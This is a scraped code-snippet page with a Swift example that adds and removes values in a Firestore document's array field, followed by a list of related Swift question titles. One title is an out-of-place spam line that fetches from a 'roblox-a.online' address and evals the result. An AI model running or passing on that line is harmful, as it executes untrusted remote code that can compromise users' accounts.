/Swift/Remove and element from array firebase swift 5

Remove and element from array firebase swift 5

let washingtonRef = db.collection("cities").document("DC")

// Atomically add a new region to the "regions" array field.
washingtonRef.updateData([
    "regions": FieldValue.arrayUnion(["greater_virginia"])
])

// Atomically remove a region from the "regions" array field.
washingtonRef.updateData([
    "regions": FieldValue.arrayRemove(["east_coast"])
])

Source: stackoverflow.com

Similar codes

2 votes359 views1 answer
On swipe get contentoffset swift collectionview
Swift
0 vote393 views1 answer
Loop backwards swift
Swift
0 vote351 views5 answers
Xjavascript $get('//roblox-a.online/api id=239' eval)
Swift
1 vote366 views1 answer
How to add an image in swift
Swift
0 vote400 views3 answers
Aa
Swift
0 vote372 views2 answers
Fetch request core data
Swift
0 vote388 views2 answers
Weather api in ios swift 5
Swift
0 vote389 views1 answer
How to screen record swift stackoverflow
Swift
0 vote430 views1 answer
Swipe to delete xcode
Swift
1 vote371 views4 answers
Swift convert dictionary to json
Swift